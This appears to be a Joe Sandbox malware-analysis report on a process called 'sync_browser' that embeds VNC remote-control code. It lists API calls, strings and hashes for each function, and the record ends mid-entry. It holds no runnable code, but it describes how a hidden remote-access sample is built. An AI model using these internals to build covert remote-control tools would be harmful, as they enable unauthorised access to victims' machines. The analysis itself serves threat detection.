Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CreateRect$AddressLibraryLoadProcmalloc
String ID: SendInput$USER32$vncclient.cpp : TEST 4$vncclient.cpp : vncClient() executing...
API String ID: 1369618222-3178290357
Opcode ID: 59c5cb1e7166b4b1d70f07f65a41a2d60febf100e89283cd68553da4dcc8056f
Instruction ID: ed18af5ac9c42f339c539b7b4ba059c84537b5a7c5db15a08256d04a43403133
Opcode Fuzzy Hash: 59c5cb1e7166b4b1d70f07f65a41a2d60febf100e89283cd68553da4dcc8056f
Instruction Fuzzy Hash: 77B16932225BD096E348DF28EA543D9B7A8F740F44F54423AE3A847B91CF7A6076C751

Function 00007FF7E5107B50 Relevance: 10.6, APIs: 7, Instructions: 81
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E5107B61
GetLastError.KERNEL32 ref: 00007FF7E5107BC9
SetThreadPriority.KERNELBASE ref: 00007FF7E5107C1D
GetLastError.KERNEL32 ref: 00007FF7E5107C27
ResumeThread.KERNELBASE ref: 00007FF7E5107C47
GetLastError.KERNEL32 ref: 00007FF7E5107C52
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5107C79

Part of subcall function 00007FF7E5132950: RaiseException.KERNEL32 ref: 00007FF7E51329CB

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorLast$CriticalSectionThread$EnterExceptionLeavePriorityRaiseResume
String ID:
API String ID: 1366308849-0
Opcode ID: 63ef2765017d1710e1b3fde4549e7b5a362e36a6304331ef8a9692e50ded8925
Instruction ID: 93f6ffecab3a1f5453c082dfa02c71ab7874139792bdf2f96f688df18f9af782
Opcode Fuzzy Hash: 63ef2765017d1710e1b3fde4549e7b5a362e36a6304331ef8a9692e50ded8925
Instruction Fuzzy Hash: CF316F21A0864B86EB10BF24F464269B3A0FF85B58FA00537E65D826ADDF3CD449C722

Function 00007FF7E50DCF90 Relevance: 9.1, APIs: 6, Instructions: 110
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32 ref: 00007FF7E50DCFDC
setsockopt.WS2_32 ref: 00007FF7E50DD013
WSAIoctl.WS2_32 ref: 00007FF7E50DD07E
getsockname.WS2_32 ref: 00007FF7E50DD0AF
getpeername.WS2_32 ref: 00007FF7E50DD0DE
SetPerTcpConnectionEStats.IPHLPAPI ref: 00007FF7E50DD128

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: setsockopt$ConnectionIoctlStatsgetpeernamegetsockname
String ID:
API String ID: 2120259006-0
Opcode ID: c49f95ef961e3e379a6d047de3f2c4db0e5666ab8321b85981a4bd72149005e7
Instruction ID: 8549fee39abaf6c80638362f26966d2318529cb8534db75773041bc7bd242b9b
Opcode Fuzzy Hash: c49f95ef961e3e379a6d047de3f2c4db0e5666ab8321b85981a4bd72149005e7
Instruction Fuzzy Hash: 96514872204B85DED724DF30E4947E9B7A4FB4870CF404526EB5C87A48DB78D6A5CB60

Function 00007FF7E513285C Relevance: 9.1, APIs: 6, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.LIBCMT ref: 00007FF7E5132887
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5132892
_getptd.LIBCMT ref: 00007FF7E51328B8
CreateThread.KERNELBASE ref: 00007FF7E513290D
GetLastError.KERNEL32 ref: 00007FF7E5132918
free.LIBCMT ref: 00007FF7E5132923

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CreateErrorLastThread_errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 3283625137-0
Opcode ID: d7d1bbc1acb5388812442ca131e75b053374a14ef8d2c0d32f7c34c2cb7a35d3
Instruction ID: 222b324c80459bedcf2f724c01d433a893bf9aabc6358248f66c8596dc934009
Opcode Fuzzy Hash: d7d1bbc1acb5388812442ca131e75b053374a14ef8d2c0d32f7c34c2cb7a35d3
Instruction Fuzzy Hash: F7219221A0878986E614BB51B4613AAE290BF45F90FC54236EE6D83BDADF3CE051C716

Function 00007FF7E5083FB0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 81
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameA.KERNEL32 ref: 00007FF7E508409C
LoadLibraryA.KERNELBASE ref: 00007FF7E50840D7

Strings

Unable to load the Rich Edit (RICHED32.DLL) control!, xrefs: 00007FF7E50840F1
Rich Edit Dll Loading, xrefs: 00007FF7E50840EA
RICHED32.DLL, xrefs: 00007FF7E50840D0

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ComputerLibraryLoadName
String ID: RICHED32.DLL$Rich Edit Dll Loading$Unable to load the Rich Edit (RICHED32.DLL) control!
API String ID: 2278097360-3189507618
Opcode ID: a0e48cd9bca1a580f90c0fe309f8f060cfac1904e258431fe3c2638ac3c22389
Instruction ID: 0170441b5e0f8f26bd586020826edf5fab81e3a00457284a359e63dd33675e3b
Opcode Fuzzy Hash: a0e48cd9bca1a580f90c0fe309f8f060cfac1904e258431fe3c2638ac3c22389
Instruction Fuzzy Hash: 5831BE21B09B4A81EB54FB2AF42432A7690EF85F58F444139D64E873E9EE3DC445C362

Function 00007FF7E50DA320 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39threadwindowCOMMON

Download Yara Rule

APIs

FindWindowExA.USER32 ref: 00007FF7E50DA34F
GetWindowThreadProcessId.USER32 ref: 00007FF7E50DA36A
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7E50DAB1F,?,?,?,00007FF7E5097FB2), ref: 00007FF7E50DA370
PostMessageA.USER32 ref: 00007FF7E50DA387

Strings

WinVNC Tray Icon, xrefs: 00007FF7E50DA340

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ProcessWindow$CurrentFindMessagePostThread
String ID: WinVNC Tray Icon
API String ID: 2660421340-1071638575
Opcode ID: 559e961aba49f3495be4a1de55413b2cc06c1e4dbc84eeda83157a0626d0a607
Instruction ID: c5d8daad50093c94a8488c434d84ee2812b77b13543c17bd0f8250a0ba7b95e1
Opcode Fuzzy Hash: 559e961aba49f3495be4a1de55413b2cc06c1e4dbc84eeda83157a0626d0a607
Instruction Fuzzy Hash: 6C01A731608B8582E7146F52B854696F760FB48FD4F945036EE4D43B58EE7CD485C700

Function 00007FF7E50933A0 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7E50933D3

Strings

vncclient.cpp : A connection using DSM already exist - client rejected to avoid crash , xrefs: 00007FF7E5093490
vncclient.cpp : failed to set socket timeout(%d), xrefs: 00007FF7E50933D9
vncclient.cpp : DSMPlugin Pointer to socket OK, xrefs: 00007FF7E5093429
vncclient.cpp : Invalid DSMPlugin Pointer, xrefs: 00007FF7E5093502

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: vncclient.cpp : A connection using DSM already exist - client rejected to avoid crash $vncclient.cpp : DSMPlugin Pointer to socket OK$vncclient.cpp : Invalid DSMPlugin Pointer$vncclient.cpp : failed to set socket timeout(%d)
API String ID: 1452528299-2001727811
Opcode ID: 4d081dc491a9ac6cbd13230380636544dfc8f183765b0f0986b9e0b49d768617
Instruction ID: d50f108c80a432c9e94cf9af96c84636c44e046e7d2da8dad9fdcd8e04a7cd16
Opcode Fuzzy Hash: 4d081dc491a9ac6cbd13230380636544dfc8f183765b0f0986b9e0b49d768617
Instruction Fuzzy Hash: 23410C66A05A89C5EB50AF2AD0943FD67A0FB84F44F994072DE0D877A4DF3DD489C322

Function 00007FF7E50988A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

getpeername.WS2_32 ref: 00007FF7E50988F0
inet_ntoa.WS2_32 ref: 00007FF7E50988FA

Part of subcall function 00007FF7E51292A4: malloc.LIBCMT ref: 00007FF7E51292C7

Part of subcall function 00007FF7E5127978: malloc.LIBCMT ref: 00007FF7E5127992

InitializeCriticalSection.KERNEL32 ref: 00007FF7E509894B

Part of subcall function 00007FF7E51079A0: EnterCriticalSection.KERNEL32 ref: 00007FF7E51079C7
Part of subcall function 00007FF7E51079A0: LeaveCriticalSection.KERNEL32 ref: 00007FF7E51079E9
Part of subcall function 00007FF7E51079A0: CreateSemaphoreA.KERNEL32 ref: 00007FF7E5107A03
Part of subcall function 00007FF7E51079A0: GetLastError.KERNEL32 ref: 00007FF7E5107A15

Strings

<unavailable>, xrefs: 00007FF7E5098900

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$malloc$CreateEnterErrorInitializeLastLeaveSemaphoregetpeernameinet_ntoa
String ID: <unavailable>
API String ID: 4131039871-1096956887
Opcode ID: 662e7cd3472f8606c1dbc32a9fae7d2c30d9cf2075c004d535a59fbb274039f5
Instruction ID: d9beb526fbe4d358aa5c6c11df3c74c96f123bb7acab6aa50510f30a05d67fdd
Opcode Fuzzy Hash: 662e7cd3472f8606c1dbc32a9fae7d2c30d9cf2075c004d535a59fbb274039f5
Instruction Fuzzy Hash: 18319032604B8AC2EB50EF24F4643A9B3A0FB88B94F540136DA9D87798DF3CD454C751

Function 00007FF7E50DCD40 Relevance: 6.1, APIs: 4, Instructions: 52networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32 ref: 00007FF7E50DCD7A
gethostbyname.WS2_32 ref: 00007FF7E50DCD8C
htons.WS2_32 ref: 00007FF7E50DCDB1
connect.WS2_32 ref: 00007FF7E50DCDCB

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: connectgethostbynamehtonsinet_addr
String ID:
API String ID: 599670773-0
Opcode ID: d38f48bb9340a20dfa4c775536a6897ee0645aa6d2a7bb91f90b264e8001bf38
Instruction ID: 70f5730fd70ca2a6e7b193d3e08dd319707b03a852fe8f25af2a8d5d8aa51fe6
Opcode Fuzzy Hash: d38f48bb9340a20dfa4c775536a6897ee0645aa6d2a7bb91f90b264e8001bf38
Instruction Fuzzy Hash: 3A119A25A18A4982EB64AB35F851339B390FF88F95F404136EA4DC7794EF3CD400C715

Function 00007FF7E5127978 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 00007FF7E5127986
malloc.LIBCMT ref: 00007FF7E5127992

Part of subcall function 00007FF7E5128C34: _FF_MSGBANNER.LIBCMT ref: 00007FF7E5128C64
Part of subcall function 00007FF7E5128C34: HeapAlloc.KERNEL32(?,?,00000000,00007FF7E513329C,?,?,?,00007FF7E5137749,?,?,?,00007FF7E51377F3), ref: 00007FF7E5128C89
Part of subcall function 00007FF7E5128C34: _callnewh.LIBCMT ref: 00007FF7E5128CA2
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CAD
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CB8

Strings

bad allocation, xrefs: 00007FF7E51279CF

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _callnewh_errno$AllocHeapmalloc
String ID: bad allocation
API String ID: 3727741168-2104205924
Opcode ID: 921c28abbcbf2c5a57674bbbd0c3a74825746961c44d3ad5b5d496d2e089f50c
Instruction ID: 598a9005047deb3e8eab6d9b418de1b8cf4238ed9a21d8b69f85d06d0694c873
Opcode Fuzzy Hash: 921c28abbcbf2c5a57674bbbd0c3a74825746961c44d3ad5b5d496d2e089f50c
Instruction Fuzzy Hash: 16012A69A4878FD1EA10BB10B4702BAA351BF44B90FD41137D94DC66AAEF3CE105D723

Function 00007FF7E50DA290 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37windowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32 ref: 00007FF7E50DA2C2
PostMessageA.USER32 ref: 00007FF7E50DA2E8

Strings

WinVNC Tray Icon, xrefs: 00007FF7E50DA2B9

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: FindMessagePostWindow
String ID: WinVNC Tray Icon
API String ID: 2578315405-1071638575
Opcode ID: b55735387d5fcc8609d7e23d94c71180556838aa6ba5d63fb9eaeb7151e3a813
Instruction ID: d91081af20975e04cb310d75cc2874ea9096e7136922ceba047c631b3865b748
Opcode Fuzzy Hash: b55735387d5fcc8609d7e23d94c71180556838aa6ba5d63fb9eaeb7151e3a813
Instruction Fuzzy Hash: D2014432E18A4582EB649B16F450369A350FB88FC4F885036FE5E93B59DF3CD4918B15

Function 00007FF7E50DCC40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

shutdown.WS2_32 ref: 00007FF7E50DCC70
closesocket.WS2_32 ref: 00007FF7E50DCC7A

Strings

vsocket.cpp : closing socket, xrefs: 00007FF7E50DCC4F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: closesocketshutdown
String ID: vsocket.cpp : closing socket
API String ID: 572888783-2569437896
Opcode ID: 8dc3be72fa35b56882547eaf8baed56a0b94c43c4fc04f31f3c72a1815f57b02
Instruction ID: 0675182382a8359191c6c607fbd0d58c7d7fe407c32e9aa6b79e9ba3aeeebb33
Opcode Fuzzy Hash: 8dc3be72fa35b56882547eaf8baed56a0b94c43c4fc04f31f3c72a1815f57b02
Instruction Fuzzy Hash: 90F04F75610B4983EB24AF70D4643B87320FF84F15F605636DA2D862D9DF38C455C362

Function 00007FF7E50DDD90 Relevance: 4.6, APIs: 3, Instructions: 86networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 00007FF7E50DDE1D
__WSAFDIsSet.WS2_32 ref: 00007FF7E50DDE5D
send.WS2_32 ref: 00007FF7E50DDE78

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: selectsend
String ID:
API String ID: 2999949978-0
Opcode ID: e4fa7076d3caa874285a54a3ee283af3e05e33e5fe15350dd15a6e5305daa52a
Instruction ID: df7cbba1f50e2ce5459cd9d06256db5febad60dd418d495735ba113c868417b1
